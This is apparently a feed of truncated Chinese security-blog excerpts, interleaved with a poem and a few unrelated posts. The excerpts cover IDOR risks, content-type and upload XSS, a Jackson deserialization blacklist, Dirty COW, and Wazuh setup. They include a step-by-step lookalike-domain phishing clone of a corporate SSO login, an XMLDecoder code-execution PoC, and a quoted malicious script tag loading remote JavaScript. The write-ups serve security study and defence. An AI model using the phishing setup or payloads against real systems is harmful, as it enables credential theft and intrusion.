1. 什么是前后端分离从职责上区分:负责交互与展示的部分为前端;负责提供数据,处理业务的部分为后端。核心思想是前端html页面通过ajax调用后端的restuful api接口并使用json数据进行交互。2. 前后端分离架构的优势1)提高工作效率,分工更加明确前端只关注前端的事,后端只关心后端的活,两者开发可以同时进行。在后端还没有提供接口的时候,前端可以先通过Mock的方式模拟接口数据。页面的增加和路由的修改也不必再去麻烦后端,页面模板可以重复使用,开发更加灵活。2)性能提升前端页面可以按需加载,服务器也不需要解析前端页面,在页面交互及用户体验上有所提升。3)降低维护成本页面的调试不再需要后端人员的参与,可以非常快速的定位及发现问题所在,代码重构及可维护性增强。推荐看一下这篇文章:《前后端分离的思考与实践(一)》,淘宝前端团队从开发角度详细阐释大厂在业务开发中使用前后端分离架构带来的优势,以及为何在前端技术栈要引入Node层。下面我们就基于SPA+Node+JAVA的架构去聊一下前后端分离中可能存在的安全风险。3. 安全风险分析3.1 技术架构我们从图中可以看到前端工程师负责的静态资源和Node中间层部分开发和后端工程师负责的后端Server业务逻辑的开发。②当用户携带token和请求业务单号applyNo,向Node.js Server请求,③④Node中间层通过thrift协议将token在用户中心验证并解析取出userid,⑤Node.js Server将userid与业务单号applyNo发送给后端,⑥后端根据传入的userid和业务单号applyNo进行业务逻辑,⑦返回数据。3.2 越权漏洞的发生3.2.1 参数归属校验缺失后端没有校验前端传入的参数是否归属于当前登录用户:因为在第②步中前端的请求暴露在公网中可以任意请求和篡改的,例如我可以请求applyNo=123,也可以请求applyNo=456;虽然前端在第③④步中做了鉴权,并向后端发送了userid,但后端常常没有用到userid(缺少第⑥步中绿色部分),而是在业务逻辑中直接用applyNo进行业务逻辑并返回;这时候攻击者就可以构造大量applyNo请求,越权查询其他人敏感信息。3.2.2 直接请求后端接口从图中我们可知,攻击者也可以绕过Node.js Server层,直接向后端Server接口进行请求。即使在做了数据归属校验的情况下,如果直接
2020-12-17 18:26:04pirogue
偌大的北京,也只有花梨坎到望京的两点一线。红酒杯们前呼后拥挤上,疾驶也追不上的时间。你有你的年份,她有她的澄澈,焦急地待人品鉴。在雾霭中,我挥发着心跳,只想与这里一切道别。终于,我盼到每个周五,火车票上那小小的蓝天。日子虽慢,道阻且长,我极力褪去一身碎玻璃片。请紧紧的抱着我,这个回到你身边的小火炉铁。我会伴你走过春夏秋冬,迎接我们的小葡萄叶。————献给我挚爱的妻子,女本柔弱,为母则刚。
2020-12-17 18:26:04pirogue
效果图效果图里是某公司的sso登录页,Chrome下同时显示的效果也是https;欢乐的气氛下,其实大部分不是做安全的小伙伴并不知道为什么自己会中招。原理和步骤假设阿里巴巴的公司重要的系统入口是 login.alibaba-inc.com,那你就可以注册一个非常具有迷惑性的域名,例如 alibaba-cin.com。通过cloudflare启用一个login的二级域名,并配置https,然后开发一个一模一样的登录页面就可以进行钓鱼实践了。1. 注册域名并修改托管dns首先注册好的钓鱼网站域名: alibaba-cin.com注册cloudflare账号,并把 alibaba-cin.com 进行网站添加输入购买的域名,Add SiteNext,下一步选择免费的方案, Confirm Plan进行0$支付吧,Purchase进行dns查询等待cloudflare扫描你的域名,发现并没有修改成cloudflare的dns,所以检查失败,这时后点击下方的continuecloudflare给出提示,你需要把他给定的两个dns拿到域名商的dns处进行修改域名商处修改成cloudflare的dns,并确定修改修改成功等待几分钟就生效了,刷新页面看一下2. 添加子域名A记录在cf面板dns管理界面,添加A记录将ip地址指向你的公网web服务器ip(图中为演示,随意填写的ip)3. 配置单向SSL加密(https)选择Crypto设置中的Flexible选项将下面的总是使用https选项打开将下面的自动https重写选项打开至此我们已经配置好钓鱼的登录域名,开启https选项,加强迷惑性。4. 钓鱼网站编码我们在针对公司进行钓鱼演戏时,并不需要真正开发一套账户体系,只是需要写一个一模一样登录界面,后端接收登录提交的post请求数据即可。我们浏览器打开需要克隆的目标站,右键源代码把静态html全部复制出来,保存到index.html。打开页面会发现乱码,很多资源加载不出来那是因为我们右键源代码复制出来的html里面有很多相对路径,相对路径的资源引用的是目标站的网站路径。我们需要把这种相对路径的资源全部引用目标站的链接,比如/css/bootstrap.min.css改成https://sso.yunxxxxx.com/css/bootstrap.min.css。前端html如何将内容post到后端web框架呢?学习一种web框架
2020-12-17 18:26:04pirogue
一、进程实时监控通过hook技术在windows和Linux操作系统的ring0级别进行监控进程和命令执行。Windows:NT式驱动服务开机自启动:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\servicesnet start pro二、网络链接实时监控通过pcap(gopcap)进行对网络链接进行实时抓包。Windows:装WinPcapLinux:装libpcap三、文件操作实时监控通过inotify(fsnotify)监控磁盘文件变化。四、ES索引类型字段索引:monitor2018_04类型:connection、file、loginlog、process字段:data.action、data.command、data.dir、data.hash、data.hostname、data.info、data.local、data.name、data.parentname、data.path、data.pid、data.ppid、data.protocol、data.remote、data.status、data.user、data.username、ip、time举例:_index_type_id_scoreipdata.remotedata.statusdata.usernametimedata.dirdata.localdata.namedata.piddata.protocoldata.actiondata.hashdata.pathdata.userdata.commanddata.infodata.parentnamedata.ppidmonitor2018_04loginlogAWKodaW5ZT0_Kn0N9YOy1192.168.1.10trueAdministrator2018-02-17T18:37:44+07:00monitor2018_04connectionAWKpDlutZT0_Kn0N9Ydd1192.168.1.1182.118.40.312018-04-09T14:18:06+08:00out192.168.1.1:54080LiveUpdate360.exe3524tcpmonitor2018_04fileAWKo3gdkZT0_Kn0N9Ycu1192.168.1.12018-04-09T13:25:21+08:00WRITE
2020-12-17 18:26:04pirogue
事件背景安全研究员在近期发现网络上频繁发生国内大型互联网厂商上传图片后解析成html、js页面,被黑产人员用作钓鱼攻击。攻击案例酷狗钓鱼链接:http://userphoto.bssdl.kugou.com/70296bbe6e02223af1cfb952b2eefcb3.jpg#1519721124069实际上攻击者上传了一个内容为<scriptsrc=//55555.gz.bcebos.com/mjk.js?111></script>的后缀为jpg的文件,当用户打开原本是图片的网址,会被浏览器渲染成js最终的展示效果,包括一些列的鼠标事件和跳转。漏洞分析网易对象存储中提到“文件的 MIME,定义文件的类型及网页编码,决定浏览器将以什么形式、什么编码读取文件。如果用户没有指定则根据 Key 或文件名的扩展名生成,如果没有扩展名则填默认值”以163站点为例http://new.hi.163.com/#/setting/step1 ,163新闻讨论站点上传头像地址。攻击步骤:0x01:无论我们上传什么类型后缀的文件,只要截获上传数据包,将content-type类型修改为“text/html”:0x02:打开上传后的文件地址:http://hi-163-common.nosdn.127.net/upload/201802/27/6efee9301baa11e89a72a5fc87cb5892发现content-type为我们上传时设置的text/html,发现原本的图片,已经把内容当做html进行渲染。攻击者可通过自定义上传content-type类型,进行xss或者钓鱼攻击。修复方案业务研发方:在使用对象存储时,根据业务需要在服务端先校验文件后缀类型,再校验Content-Type是否属与此后缀类型相匹配;云储存方:文件后缀类型与文件MIME强关联,一一对应,例如禁止jpeg后缀的文件MIME变成text/html。写在最后    在几个月前我就在博客中有写到一篇《阿里云OSS约等于文件上传漏洞?》的文章,其中就提到了任意文件上传导致xss漏洞,当时只是发现了现象,并没有对oss云存储的形成漏洞的原因进一步测试总结。    现在来看除了用户使用上要严格校验上传文件类型外,OSS文件存储是否也应该在设计上避免“因
2020-12-17 18:26:04pirogue
Jackson漏洞历史(CVE-2017-7525)北京时间2017年4月15日,Jackson框架被发现存在一个反序列化代码执行漏洞。该漏洞存在于Jackson框架下的enableDefaultTyping方法,通过该漏洞,攻击者可以远程在服务器主机上越权执行任意代码,从而取得该网站服务器的控制权。Jackson是一个开源的Java序列化与反序列化工具,可以将java对象序列化为xml或json格式的字符串,或者反序列化回对应的对象,由于其使用简单,速度较快,且不依靠除JDK外的其他库,被众多用户所使用。关于历史漏洞的分析可以参考,绿盟科技在17年发表的技术分析文章:http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/漏洞触发链getOutputProperties()->newTransFormer()→newInstance()构造方式通过java生态中的第三方库存在的序列化方法构造序列化恶意攻击代码,并将恶意代码base64编码后拼接到一个精心构造的json数据包中,代码层如果在使用ObjectMapper对象实例时(ObjectMapper mapper = new ObjectMapper();)开启了enableDefaultType特性(例如mapper.enableDefaultTyping();),会在readValue时对传入的JSON自动调用第三方库的反序列化方法,造成代码执行。官方修复方式官方在漏洞产生后,通过黑名单的方式禁止黑名单中的第三方库因为反序列化问题而产生的代码执行漏洞。黑名单如下:12345678org.apache.commons.collections.functors.InvokerTransformerorg.apache.commons.collections.functors.InstantiateTransformerorg.apache.commons.collections4.functors.InvokerTransformerorg.apache.commons.collections4.functors.InstantiateTransformerorg.codehaus.groovy.runtime.ConvertedClosureorg.codehaus.
2020-12-17 18:26:04pirogue
XMLDecoder反序列化漏洞老外的详细利用文章:http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html国内的demo:http://blog.51cto.com/duallay/1961598poc xml文件:1234567891011<?xml version="1.0" encoding="UTF-8"?><java version="1.8.0_131" class="java.beans.XMLDecoder">    <object class="java.lang.ProcessBuilder">        <array class="java.lang.String" length="1">            <void index="0">                <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>            </void>        </array>        <void method="start" />    </object></java>读取xml文件,进行反序列化执行命令代码:1234567891011121314151617181920212223import java.io.BufferedInputStream;import java.io.FileInputStream;import java.io.FileNotFoundException;public class xmlrce {    public static void main(String[] args) {        // TODO Auto-generated method stub        java.io.File 
2020-12-17 18:26:04pirogue
python回调函数demo下面的demo是根据需求写的简单测试脚本123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960#!/usr/bin/env python# coding: utf-8# 第一个列表为依赖组件和版本号,后面紧跟负责人名称# 接着出现第二个依赖组件列表,负责人为空了# 所以根据需求需要对组件、版本号、负责人进行不同处理# 这时在for循环中根据if判断,写回调函数处理# 格式不一致数据的测试数据a = [[u'tool-1', u'1.9.13'], u'xiaowang', u'xiaoqu', [u'tool-2', u'1.9.23'], [u'tool-3', u'1.9.33'], [u'tool-4', u'1.9.43'], u'pi',[u'tool-5', u'1.9.53']]# a = [[u'tool-1', u'1.9.13'],u'xiaowang',[u'tool-2', u'1.9.23'],u'xiaowang', [u'tool-3', u'1.9.33'],u'xiaowang']# a = [[u'tool-1', u'1.9.13']]# [u'tool-1', u'1.9.13']your_pro = a[0]# print your_pro# [u'xiaowang', u'xiaoqu', [u'tool-2', u'1.9.23']]tmp = a[1:]# print tmpdef git_callback(whole_v, proj_value, name_value):    # 如果存在负责人存在    try:        if type(name_value[0]) is unicode:            # 对除去列表0个索引的数据(依赖名和版本号)后面的数据进行遍历            for i in name_value:                # 碰到后面的数据是列表的进行回调                if type(i) is list:                    tmp_index = whole_v.index(
2020-12-17 18:26:04pirogue
java序列化与反序列化定义序列化就是把对象的转换成字节流,便于保存在内存、文件、数据库中(即便于存储或传输)过程;反序列化即逆过程,又字节流还原成对象。 Java中api实现序列化:java.io.ObjectOutputStream类的writeObject()方法可以实现序列化;反序列化:java.io.ObjectInputStream类的readObject()方法用于实现反序列化。将字符串对象“中国”进行序列化存储到本地“test.ser”文件,然后再通过反序列化进行恢复打印输出的样例代码:12345678910111213141516171819202122232425262728293031323334package serialize;import java.io.*;/*import java.io.ObjectOutputStream;import java.io.ObjectInputStream;import java.io.FileOutputStream;import java.io.FileInputStream;*/public class javaApiSerialize {public static void main(String args[]) throws Exception{String obj = "中国";// 将序列化对象写入test.ser文件中FileOutputStream fos = new FileOutputStream("test.ser");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(obj);os.close();System.out.println("序列化完成");// 从文件test.ser中读取数据FileInputStream fis = new FileInputStream("test.ser");ObjectInputStream ois = new ObjectInputStream(fis);//System.out.println(ois.getClass().getName());System.out.println(ois);// 通过反序列化恢复对象objString obj2 = (String)ois.r
2020-12-17 18:26:04pirogue
首先声明这是一篇标题党的文章,阿里云OSS不被这个锅,锅其实还是在企业或者说是用户。前言之所以要写这篇口水文,是因为最近在检测自家公司产品时发现存在这个问题,同时不久在测试某src的某系统时也存在类似这种问题,所以个人认为还是要提高一些警惕,让开发或测试者尽量消除不必要的麻烦,不要错误的认为文件托管在oss就可以忽略站内的上传功能存在的安全隐患。概述首先借用阿里云oss首页的介绍性文字来解释下oss是什么:1海量、安全、低成本、高可靠的云存储服务,提供99.99999999%的数据可靠性。使用RESTful API 可以在互联网任何位置存储和访问,容量和处理能力弹性扩展,多种存储类型供选择全面优化存储成本。简单可以理解为企业自身的文件存储服务器。问题出在站点的上传功能,存在任意文件上传,但因为上传到的是oss或文件存储服务器,所以不论是什么类型的脚本都是不解析的,访问会直接下载回来,那作为开发者会高枕无忧了吗?然并卵,我还可以上传一个内容存在xss payload的hack.html的文件,服务器便会静态文件进行解析;重点来了,可能企业在使用oss服务时,使用的域名是img-oss.yourcompanydomain.com,而在你公司的sso或产品为了跨域在开发时set-cookie:*.yourcompanydomain.com,那攻击者就可以拿着img-oss.yourcompanydomain.com/hack.html找对应的场景或发给公司的员工,打开后cookie可能就被“借”走了。总结两点:任意文件上传;站点可以跨域你看不见我~文末我准备追加一种姿势案例复现案例一:0x01:set-cookie 0x02:文件上传,前端验证先上传图片,然后通过bp抓包,修改后缀为html,进行上传  访问即可打印弹出cookie案例二:0x01:某src在上传文件时不仅会校验文件后缀,在后端也会校验文件头 0x02: 绕过上传  上传后的response  html上传成功,发现其setcookie也是该业务系统全域名的,但使用的oss服务是阿里的oss相关域名isvstore.oss-cn-hangzhou.aliyuncs.com,不是使用其业务系统的域名,这样这两个域名之间是不能相互跨域的,但aliyuncs.com这个域名如果有业务系统,可能也会被利用。但在我测试过之后发现aliyuncs.com这个域名没
2020-12-17 18:26:04pirogue
漏洞编号CVE-2016-5195漏洞名称脏牛(Dirty COW)风险等级高漏洞危害黑客可以通过远程入侵获取低权限用户shell后,然后利用该漏洞在全版本Linux系统上实现本地提权,从而获取服务器root权限。 漏洞利用条件黑客可以通过远程入侵获取低权限用户shell后, 才能进一步利用该漏洞。 漏洞影响范围根据Linux内核官方评估自2007年来发行的 >=2.6.22的内核版本全部受影响。漏洞验证我们先通过一个低权限用户meicai登录,通过rz上传一个cowroot二进制漏洞利用程序;给cowroot执行权限后执行,发现自动提升到root权限。  请不要在生产环境通过漏洞利用程序测试此漏洞,可能造成系统卡死。为防止系统卡死可执行echo 0 > /proc/sys/vm/dirty_writeback_centisecs ,关闭pdflush刷新。 漏洞验证poc为防止漏洞利用程序造成的危害,我特意编写了一个可以验证漏洞是否存在的python脚本,执行过后可检测系统是否存在漏洞。请执行3次左右,防止漏报情况。 存在漏洞:  不存在漏洞: 漏洞修复 Ubuntu 内核升级: 1、查看是否有最新更新包: dpkg -l  | grep linux2、更新列表:apt-get update 或apt update3、升级:Ubuntu12.04版本:apt-get install linux-genericUbuntu14.04版本:apt-get upgrade或apt  upgrade4、reboot重启服务器 注意:机器上在做了上述升级后还会存在漏洞未修复! 系统提示我们正在使用的版本安全更新只到2016-08-04这一天,所以官方给出两种解决办法:升级Ubuntu 14.04 LTS 到 Ubuntu 16.04 LTS:sudo do-release-upgrade或者切换到当前受社区安全支持的内核小版本升级:sudo apt-get install linux-image-generic-lts-xenial linux-generic-lts-xenial12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626
2020-12-17 18:26:04pirogue
起因甲方“一个人的安全部”的时候,一个研发的同事在设计一项报表功能时,因为受到邮箱的安全限制无法很好的实现,于是将情况反馈给我。说实话,我对浏览器的安全也不太了解,案头的书翻了几页就没再动过,于是对比了腾讯邮箱的做法,发现了这个xss。背景公司使用coremail搭建企业邮箱,开发做了一个通过邮件发送html报表的周报,但在此邮件内有链接地址。邮箱的域名是a.com,而报表中的链接是b.com,当用户打开a.com内的报表邮件,点击其中的链接;因为邮件的内容是通过iframe来加载html报表,同时coremail将iframe加入了内容安全策略(CSP)限制(sandbox=“allow-same-origin allow-popups”)。所以,点击链接虽然可以跳转到b.com,但b.com页面有js脚本,sandbox不允许执行脚本(allow-scripts),会导致新打开的链接不会加载脚本执行,效果当然也不是开发想要的效果了。当然通过让厂商修改iframe的sandbox属性,改为sandbox=”allow-same-origin allow-popups allow-popups-to-escape-sandbox”,即可解决这个问题,但会影响邮箱的安全性。于是我打开qq邮箱,发现QQ邮箱并没有这个iframe策略,而是通过一个三方“云端安全检测”,对邮件内连接进行拦截,提示用户要访问的页面可能有风险。被src拒绝的“逻辑漏洞”于是多打开了几封QQ邮件,点击了邮件内的链接,发现腾讯对智联招聘、拉钩等招聘网站的链接不会进行拦截,直接放行跳转,所以这其中是否存在一定的逻辑绕过呢?测试过程就省略了,说结果吧,个人认为验证逻辑上还是有些问题:当邮件内容出现链接时,点击跳转,默认QQ邮箱会进行在云端进行拦截检测。但是会有白名单机制,比如 http://www.lagou.com ,会把拉钩的招聘链接进行放行,云端安全检测检->进行跳转放行,无任何提示。现有的逻辑如下:  https://www.lagou.com 不放行(因为https,非白名单)  www.lagou.com 不放行(不带有http,非白名单)  http://xss.pirogue.org 不放行(非白名单)  等等其他域名都不放行。但当第一行是http://www.lagou.com ,第二行的链接都会放行(除去色情或被举报的网址
2020-12-17 18:26:04pirogue
WAZUH架构图分布式单台部署Install Wazuh server添加CentOS wazuh源123456789$ cat > /etc/yum.repos.d/wazuh.repo <<\EOF[wazuh_repo]gpgcheck=1gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUHenabled=1name=CentOS-$releasever - Wazuhbaseurl=https://packages.wazuh.com/yum/el/$releasever/$basearchprotect=1EOF安装Wazuh-manager1$ yum install wazuh-manager查看Wazuh运行状态123456789[root@localhost init.d]# service wazuh-manager statusossec-monitord is running...ossec-logcollector is running...ossec-remoted is running...ossec-syscheckd is running...ossec-analysisd is running...ossec-maild not running...ossec-execd is running...wazuh-modulesd is running...安装Wazuh API安装NodeJS[root@localhost opt]# curl –silent –location https://rpm.nodesource.com/setup_6.x | bash -1234567891011121314151617181920212223242526272829303132## Installing the NodeSource Node.js 6.x repo...## Inspecting system...+ rpm -q --whatprovides redhat-release || rpm -q --whatprovides centos-release || rpm -q --whatprovides cloudlinux-release || rpm -q --whatprovides sl-
2020-12-17 18:26:04pirogue
一、跟踪系统调用1. strace bash test.sh123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271root@Kali:~/pirogue/reverse_shell# strace bash test.sh execve("/bin/bash", ["bash", "test.sh"], [/* 50 vars */]) = 0brk(NULL)                               = 0x7a2000access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)mmap
2020-12-14 17:31:19tyler_download的专栏
上一节我们了解了PNET的基本原理,本节看看如何生成PNET需要的训练数据。总体而言我们需要产生两部分数据,一部分图片里面包含人脸,另一部分不包含人脸。这里的“包含”或“不包含”并不是指图片中完全没有人脸,而是图片中人脸占据的比率超过一定的阈值时就可以认为给定图片包含人脸。
算法会设定三个阈值,当人脸在图片区域占据比率不超过30%,那么认为图片不包含人脸。如果超过30%但是不到45%,那么图片属于“中性”,当人脸占据区域超过65%则断定图片内含有人脸。训练使用的数据集为WIDERFace,该数据集不但包含了                    
                        作者:tyler_download 发表于 2020/12/14 17:20:49 原文链接 https://blog.csdn.net/tyler_download/article/details/111175749                    
                    
                        阅读:4621 评论:4 查看评论
2020-12-14 15:08:46MSRC Blog
Note: we are updating as the investigation continues. Revision history listed at the bottom. This post contains technical details about the methods of the actor we believe was involved in Recent Nation-State Cyber Attacks, with the goal to enable the broader security community to hunt for activity in their networks and contribute to a shared …  Customer Guidance on Recent Nation-State Cyber Attacks Read More »
2020-12-13 22:27:44小草窝博客
只允许64位的ELF可执行程序,总共有三个赛道,x86-64,arm64,mips64。不太熟悉汇编,三个赛道基本上都是用gcc来完成,辅助少量的汇编代码修改。 最终成绩 x86-64 472字节 第15名 arm64 816字节 第8名 阅读全文>>